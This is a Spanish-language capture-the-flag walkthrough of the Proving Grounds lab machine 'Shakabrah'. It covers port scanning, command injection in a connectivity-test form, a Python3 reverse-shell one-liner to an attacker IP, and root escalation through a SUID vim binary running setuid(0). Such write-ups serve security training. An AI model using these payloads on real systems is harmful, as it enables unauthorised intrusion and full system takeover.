🟢Shakabrah

Write-up de la máquina Shakabrah de Proving Grounds #writeup #walkthrough

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.207.86

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será el escaneo en profundidad de los servicios abiertos.

nmap -p22,80 -sVC 192.168.207.86 -oN targeted

Existen 2 puertos abiertos en el equipo target.

  • Puerto 22 -> SSH -> OpenSSH 7.6

  • Puerto 80 -> HTTP -> Apache httpd 2.4.29

Enumeración Web

Comenzamos viendo el contenido del sitio Web.

Encontramos un formulario donde podemos especificar una IP para probar la conexión de esta máquina con el host de la IP.

Otra cosa que vamos a hacer es enumerar directorios con la herramienta dirsearch.

dirsearch -u "http://192.168.207.86/" -i200,301

No hay ningún directorio interesante.

Explotación

Desde aquí vamos a intentar ejecutar un RCE, para ello vamos a ver que podemos hacer con el formulario.

Podemos inyectar comandos y el resultado es devuelto en pantalla. Debemos encadenar comandos para poder ejecutar comandos.

Sabiendo esto, vamos a intentar un RCE simplemente ejecutando un shell inverso. Probamos diversas shells pero solo las generadas con Python3 funcionan.

Geeneramos una shell Python utilizando esta página Web.

export RHOST="192.168.49.207";export RPORT=80;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

Inyectamos esta shell y al mismo tiempo ponemos nc a la escucha en el puerto 80. Importante, solo funciona para el puerto 80.

Tenemos conexión remota con la máquina objetivo. Aprovechamos también para convertir la shell generada en interactiva.

python3 -c 'import pty; pty.spawn("/bin/bash")'

El próximo obtejivo es encontrat la flag.

Ya tenemos la flag local.txt. Seguimos con la elevación de privilegios.

Elevación de privilegios

Comenzaremos enumerando si podemos ejecutar sudo.

Necesitamos password.

Seguimos enumerando los binarios SUID.

find / -perm -4000 2> /dev/null

Importante, debemos revisar para que versión de Python tiene soporte la versión de Vim instalada. Para comprobar la versión de Python ejecutamos lo siguiente:

/usr/bin/vim.basic --version

Vim ejecuta Python3

/usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "/bin/bash")'

Y pulsamos intro hasta que nos solicite el tipo de terminal. Entonces escribimos el tipo de terminal "xterm" y volvemos a pulsar intro.

Ya tendremos privilegios máximos. El siguiente paso será buscar la flag proof.txt.

Ya estaría finalizado el CTF Shakabrah de Proving Grounds.

Last updated